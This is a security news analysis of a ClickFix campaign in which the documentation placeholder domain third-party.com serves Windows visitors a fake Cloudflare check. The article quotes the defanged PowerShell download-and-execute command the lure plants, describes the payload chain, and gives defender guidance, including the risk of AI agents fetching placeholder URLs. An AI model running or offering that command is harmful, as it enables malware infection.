third-party.com Turns a Developer Placeholder Into a ClickFix Lure
Manifold found the problem more or less by accident. Security engineer Swapnil Patil was analyzing public AI agent skills and MCP (Model Context Protocol) server documentation when he saw that one skill referenced third-party.com and that the company's monitoring had flagged the domain as a phishing indicator. Manifold says a documentation placeholder tripping a malware alert made no sense, so the team looked at what the domain was serving. Manifold's head of research, Ax Sharma, writes that the domain has been serving the lure "since at least June 2026." That start date comes only from Manifold's research. BleepingComputer confirmed the page exists but did not set a date.
According to Manifold, the domain turns up in a public code search in skills, MCP-server docs, and more than 1,500 files across more than 1,700 repositories, including projects from Chromium, Sanity and Vercel. That count is Manifold's own search result, not an independent census. Manifold also says it checked that none of its own systems had fetched the live page or received the lure, and that the skills it examined had not changed. The domain had changed.
The domain was first registered in 1996, long before this campaign. BleepingComputer says it could not determine when or how control of the site changed. Nothing in either report shows that the original registration was malicious. Manifold says it reported the domain to its registrar, Network Solutions, before publishing, and went public because the page was still targeting Windows users.
How the Fake Cloudflare Check on third-party.com Gets Users to Run PowerShell
ClickFix is the name the security industry gave to a social-engineering pattern in which the victim runs the attack themselves. A webpage shows a fake error, CAPTCHA or verification prompt. JavaScript quietly puts an attacker's command on the clipboard, and the page tells the user how to run it. This version follows the pattern closely. BleepingComputer's testing confirmed a fake Cloudflare "Performing security verification" screen with a "Verify you are human" checkbox. After the click, the page puts a PowerShell command on the Windows clipboard and tells the visitor to press Win+R, paste with Ctrl+V, and press Enter.
Manifold's teardown adds detail. The page's JavaScript stages the clipboard using a hidden textarea and a hijacked copy event. Once the string-concatenation obfuscation is removed, the command it plants is powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null" (defanged here). In that command, irm (Invoke-RestMethod) fetches a script from the second-stage server, iex (Invoke-Expression) runs it in memory, and 2>$null hides any error the victim might notice. The page also appends a decoy comment ("Security check, I'm not a robot, Verification ID" plus a random six-digit number), so what appears in the Run box looks like a CAPTCHA token rather than a command. The fake page includes a Ray ID footer for credibility. This is a standard ClickFix technique: Varonis has documented lure pages that automatically insert the target domain name and a fake Ray ID number into the content so the page looks like a real Cloudflare checkpoint.
The first stage has been disrupted but not removed. When BleepingComputer tested, elxxvvx[.]xyz no longer resolved, and Manifold also found the second-stage domain offline. Earlier evidence shows what it used to deliver. BleepingComputer cites a Hybrid Analysis report dated May 2, 2026, showing a PowerShell script from that domain set up to:
- Download a 134 MB ZIP archive from elxxvvx[.]xyz/update2.zip.
- Save it locally as update26.zip.
- Extract the archive.
- Try to launch an executable named draw.io.exe.
The name borrows from the popular diagramming tool, a common way to make a malicious binary look familiar. The archive is no longer available, so nobody has established what draw.io.exe actually did. The Hybrid Analysis record shows the script's configured behavior. It does not show that anyone ran it or that the payload belongs to a known malware family. Note that the Hybrid Analysis date is a month earlier than Manifold's "since at least June" date for the lure, which suggests the second-stage infrastructure existed before Manifold first saw the domain serving the lure.
BleepingComputer also notes that ClickFix can sometimes get past traditional antivirus, because the user runs the command rather than downloading a file. Neither report includes a test showing a specific security product failing against this campaign. Treat that as a general property of the technique, not an observed result here.
Why Scanners Saw a Clean third-party.com
The most useful detail for defenders is the cloaking. Manifold fetched the domain from a UK location using different browser identifiers, and the response depended on the operating system the request claimed to come from. A Windows user-agent got the full lure. A macOS or Linux user-agent got a nearly identical page that stops at an error saying the OS is unsupported and that the site requires a Windows PC. There was no clipboard poisoning and no payload. "The attacker only shows the weapon to the targets it works against," Sharma writes. He says this is why a casual check, or a scanner on a Linux datacenter IP, sees nothing wrong.
Manifold points to a blocklist history that fits this behavior. According to the firm, the public IPFire blocklist flagged the domain as malware on July 7, 2026 and removed it on July 17. Manifold's reading is that a checker requested the page with a non-Windows identifier, saw the harmless decoy, and decided the earlier listing was a mistake. No other outlet has reported the IPFire listing, so treat it as Manifold's observation.
In practice, a domain can be live malware and missing from reputation feeds at the same moment. Manifold's warning to defenders is that a reputation check only tells you what the domain showed the last scanner that asked. Content that changes depending on who is asking is getting more common across ClickFix operations. Menlo Security described a May 2026 campaign whose scripts changed structure, strings and XOR keys on every download, so signature-based security tools cannot rely on static file hashes to block the attack. The third-party.com lure uses a simpler filter, the user-agent, but the lesson for defenders is the same: a static snapshot of a URL is not a verdict.
example.com Is Reserved and third-party.com Never Was
Most developers never think about the difference, and it takes one line to explain. IANA, the body that manages DNS root-level assignments, maintains example.com, example.net and example.org for documentation under RFC 2606 and RFC 6761. IANA says anyone can use these domains in documents without asking, and that they are not available for registration or transfer. third-party.com reads like it belongs to that family but has none of that protection. It is a normal .com that can change hands and serve anything its controller wants.
It has also been used as if it were reserved. BleepingComputer lists several examples:
- The W3C Geolocation specification uses third-party.com to show how to grant geolocation permission to an external iframe.
- The W3C Compute Pressure specification uses it in an iframe example that enables the API for remote content.
- Chromium's Telemetry Extension API documentation uses it as an example website allowed to communicate with a Chrome extension.
- A PrivacyCG proposal on GitHub uses it as the destination of a JavaScript fetch() request from a service worker. That is code that would make a real network request if copied as written.
Manifold adds more: an externally_connectable example in Chromium's developer docs, a Playwright testing skill in Sanity's repository that uses it as a cross-origin iframe, and a unit test in Vercel's Turborepo that checks origin matching. Among AI skills, Manifold found a Shopify performance reference in the jeffallan/claude-skills repository that lazy-loads third-party.com/widget.js as a stand-in script, an alova-server-usage OAuth gateway example calling third-party.com/token and /user/info, and a ClawHub dashboard-builder skill where the domain appears in a sample explicitly labeled as the wrong way to hardcode an endpoint.
None of this means those projects are compromised or were careless. They used the same throwaway hostname many developers use. The risk is in copying. BleepingComputer points to a 2015 Stack Overflow question in which a developer applied an async-loading example containing [url]https://third-party.com/resource.js[/url] to a live site before noticing it did not behave as expected. Any application or test harness that still contains a literal third-party.com URL will send a browser or tool to whatever the domain serves at the moment of the request.
AI Agent Skills and MCP Docs Make Stale Placeholder URLs a Live Risk
Manifold frames third-party.com as a new version of a problem it has written about before: a static URL in a config or skill is a promise that the server can break later. Its reference case is the Polyfill incident, in which a script hardcoded across many sites turned malicious after its domain changed owners, without anyone changing a dependency. third-party.com is an even quieter case, because no one thinks of a documentation placeholder as a dependency at all.
AI agents add a new twist. Human developers usually treat a placeholder in a README as a placeholder. An agent that reads a skill file, harvests URLs from its documentation and fetches them may not. Manifold's concern is exactly that path: an agent follows a link that looked harmless when the skill was written, from a Windows machine that gets the malicious version. The lure still needs a person to paste and run the command, so an agent simply loading the page does not execute anything on its own. The exposure is that a trusted-looking tool can put a user in front of the lure, or treat the domain's content as legitimate input.
Manifold is a vendor that sells runtime monitoring for AI agents and MCP servers, and its write-up ends with a pitch for that product. The findings about the domain stand without the pitch. BleepingComputer independently reproduced the fake verification page, and Manifold's defensive advice below is mostly about hygiene rather than buying anything.
ClickFix is now a broad technique, not one group's signature, and this campaign is not attributed to anyone. Proofpoint noted that most observed ClickFix campaigns are not attributed to a known threat actor or group, and that the technique is used by many financially motivated threat actors, as well as reportedly by suspected espionage-focused groups. Microsoft Threat Intelligence has documented ClickFix lures that trick users into launching a PowerShell command that downloads an obfuscated VBScript. MITRE ATT&CK classifies the core behavior as T1204.004, User Execution: Malicious Copy and Paste, and PowerShell abuse as T1059.001. Manifold maps this campaign to both.
What Windows Users, Developers and Security Teams Should Do About third-party.com
Everyone should follow one rule, developers should clean up their placeholders, and security teams have some hunting and policy work.
For Windows users, no legitimate Cloudflare check, CAPTCHA or "verify you are human" prompt asks you to open the Run dialog and paste something. Any page that tells you to press Win+R, Ctrl+V and Enter is asking you to run code you have not seen with your own account's permissions. Close it. If you already did it, treat the machine as possibly compromised. Disconnect it and involve your IT or security team rather than trying to judge the damage yourself, especially since the payload's behavior is unknown.
For developers and documentation maintainers, the fix is mechanical. Search your repositories, READMEs, test fixtures, agent skills and MCP configs for third-party.com. Manifold also recommends checking similar stand-ins such as yourcompany.com, mycompany.com and your-api.com, and whether those are registered and live. Replace them with reserved names: example.com, or example.org and example.net when an example needs a second distinct host. Where a test really needs network behavior, point it at a host your team controls. Prioritize examples that would make a real request if copied, such as fetch() calls, script src tags and OAuth endpoints, over purely descriptive mentions.
For security teams, the indicators are third-party.com as the lure domain and elxxvvx[.]xyz as the second stage. Search DNS, proxy and firewall logs for both, keeping in mind that the second stage is currently down and could be swapped for a new domain. MITRE's detection guidance for user execution describes a chain worth watching for: a user-facing app spawning a living-off-the-land binary such as PowerShell, followed by file creation or extraction in a user-writable path and immediate outbound traffic. As general Windows forensic practice rather than a campaign-specific signature, commands typed into the Run dialog are usually recorded under the RunMRU registry key in the user's profile. That gives responders a place to look for a pasted powershell ... iex(irm(...)) string.
Manifold's most counterintuitive advice is about allowlisting. The domain appears in so much legitimate code that it will trigger alerts, and there will be pressure to add it to a known-good list to cut the noise. Don't. A domain you neither control nor can vouch for should not be on an allowlist, because the day its content turns hostile the allowlist lets it straight through. Manifold also warns against checking whether harvested URLs are live from corporate or cloud IP space, since doing that is itself contact with attacker infrastructure.
- Legitimate CAPTCHA or Cloudflare checks never tell you to press Win+R, paste and press Enter, so any page that does should be closed immediately.
- Search codebases, documentation, agent skills and MCP configs for third-party.com and replace it with IANA-reserved names such as example.com, example.org or example.net.
- Hunt proxy and DNS logs for third-party.com and elxxvvx[.]xyz, and watch for PowerShell launched from a user session that immediately downloads, extracts and runs content.
- Do not treat a clean reputation score or a clean scan from a Linux or datacenter vantage point as proof the domain is safe, because the lure is shown only to Windows user-agents.
- Keep third-party.com off allowlists even though legitimate code references it, since its owner can change what it serves at any time.
- The payload's behavior and any victim count are still unknown, so a machine where the command was run should go to incident response rather than be judged by symptoms.
The attack chain on third-party.com is broken for now only because the attacker's second-stage server went offline. The lure domain is still live and still shows Windows visitors its fake Cloudflare page, and pointing it at a new payload server would take one edit. The durable fix is on the documentation side: developer docs, specs and AI skills that use reserved example domains cannot be taken over this way, and those that use a plausible-looking registered .com can. Until third-party.com's registrar acts or the domain changes hands again, every hardcoded reference to it is traffic its current controller receives.